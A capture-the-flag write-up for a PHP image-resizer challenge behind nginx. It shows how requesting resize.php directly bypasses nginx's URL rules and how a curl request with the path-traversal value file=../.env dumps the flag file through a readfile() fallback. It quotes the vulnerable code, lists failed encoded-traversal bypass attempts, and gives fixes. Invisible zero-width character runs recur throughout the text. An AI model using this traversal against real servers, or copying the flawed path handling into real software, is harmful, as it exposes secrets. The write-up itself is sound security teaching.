← Back to Writeups
CUSTOMMediumWeb

Шакализатор картинок (Image Shakalizer)

XESXOR9/2/20264 min read
#web#custom#medium#direct_php_file_access_bypassi#image_processing_fallback_to_r#path_traversal_via_unsanitized

Шакализатор картинок (Image Shakalizer)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: direct_php_file_access_bypassing_nginx_location_rules, image_processing_fallback_to_raw_file_read, path_traversal_via_unsanitized_file_parameter

Summary

Walkthrough of the CUSTOM Web Шакализатор картинок (Image Shakalizer). Task: PHP image resizer behind nginx with strict URL filtering but unprotected direct PHP file access. Solution: bypass all nginx protections by accessing resize.php directly, use path traversal in fi

Description

Для новой фотосессии Пикси был создан сайт. Однако оригинальные фото оказались слишком большого размера, и чтобы их отресайзить для веба, на бекенде был добавлен шакализатор картинок.

English summary: A website was created for Pixie's new photoshoot. The original photos were too large, so an image "shakalizer" (quality degrader/resizer) was added on the backend. Full source code provided. Flag is in .env file above the webroot. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Application Architecture

The application runs on nginx 1.20.2 + PHP 7.4.33 (PHP-FPM) with the GD library for image processing. Key files:

  • index.php — gallery page showing images from upload/ directory
  • router.php — URL router that parses /resize/WxH/path patterns
  • resize.php — image resizer that takes w, h, file parameters
  • nginx.conf — elaborate security configuration
  • .env — flag file, one directory above webroot

nginx Security Configuration

The nginx config has three layers of protection for the /resize/ URL path: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

nginx
# Layer 1: Block encoded path traversal characters
if ($request_uri ~* "^/resize/.*(?:%2e|%2f|%5c|%00|%25)") {
    return 400;
}

# Layer 2: Strict regex — only allow resize of files in upload/ with image extensions
location ~* "^/resize/[0-9]{1,4}x[0-9]{1,4}/upload/[A-Za-z0-9._-]+\\.(png|jpe?g|gif)$" {
    try_files $uri @resize_php;
}

# Layer 3: Catch-all — block everything else under /resize/
location ~* ^/resize/ {
    return 400;
}

These rules effectively prevent any path traversal through the /resize/ URL path. However, there's a critical oversight: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

nginx
# Generic PHP handler — NO restrictions whatsoever
location ~ \.php$ {
    include fastcgi_params;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    fastcgi_pass 127.0.0.1:9000;
}

The location ~ \.php$ block passes any .php file directly to PHP-FPM with zero filtering.

resize.php Vulnerability

The resize script has two critical flaws:

1. No path sanitization on the file parameter:

php
$relativePath = (string) ($_GET['file'] ?? '');
$sourcePath = __DIR__ . '/' . $relativePath;  // Direct concatenation!

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

When accessed via the router (through nginx's protected /resize/ path), the file parameter is constrained. But when accessed directly as /resize.php, there are no constraints at all.

2. Fallback that outputs raw file content:

php
// Try to process as image
if (renderResizedPng($sourcePath, $width, $height)) {
    exit;
}

// FALLBACK: output raw file content when image processing fails!
header('Content-Type: image/png');
readfile($sourcePath);

When imagecreatefromstring() fails (because .env is not an image), the function returns false, and the fallback readfile() dumps the raw file content. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploit Chain

  1. buildCachePath() validates strictly — returns null for paths not matching upload/*.{png,jpg,gif}
  2. Since cachePath is null, both cache blocks are skipped
  3. renderResizedPng() reads .env, imagecreatefromstring() fails → returns false
  4. Fallback: readfile($sourcePath) outputs raw .env content

Solution

Single HTTP request bypassing all nginx protections:

bash
curl "https://pixie-shakal.t1.bug-makers.ru/resize.php?w=100&h=100&file=../.env"

Response:

FLAG=BugCTF{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Why This Works

StepWhat happens
Request: GET /resize.php?w=100&h=100&file=../.envHits location ~ \.php$ — no filtering
PHP receives file=../.envConstructs $sourcePath = __DIR__ . '/../.env'
is_file() + is_readable()Pass — file exists
buildCachePath('../.env', 100, 100)Returns null — doesn't match upload/ pattern
Cache blocksSkipped (cachePath is null)
renderResizedPng()imagecreatefromstring() fails on text → returns false
Fallback readfile()Outputs raw .env content
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

What Didn't Work (Rabbit Holes)

  • ../ in URL path (/resize/100x100/../../../.env) — nginx normalizes ../ before location matching, so the strict regex still blocks it
  • Encoded traversal (%2e%2e/%2e%65%6e%76) — blocked by nginx's if filter matching %2e, %2f
  • Double encoding (%252e%252e) — blocked because %25 is in the filter
  • Overlong UTF-8 (%c0%ae%c0%ae) — nginx returns 400
  • Newline injection (%0a) — doesn't help with location matching

The actual solution was much simpler: completely sidestep nginx's URL-based protections by accessing the PHP file directly. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Fix

  1. Deny direct access to resize.php in nginx:
    nginx
    location = /resize.php { internal; }
  2. Sanitize the file parameter in resize.php:
    php
    $realSource = realpath($sourcePath);
    $allowedDir = realpath(__DIR__ . '/upload');
    if (strpos($realSource, $allowedDir) !== 0) { exit; }
  3. Remove the dangerous fallback — never readfile() arbitrary paths when image processing fails ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering direct_php_file_access_bypassing_nginx_location_rules, image_processing_fallback_to_raw_file_read, path_traversal_via_unsanitized_file_parameter was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-27 • CUSTOM • Шакализатор картинок (Image Shakalizer) • Difficulty: Medium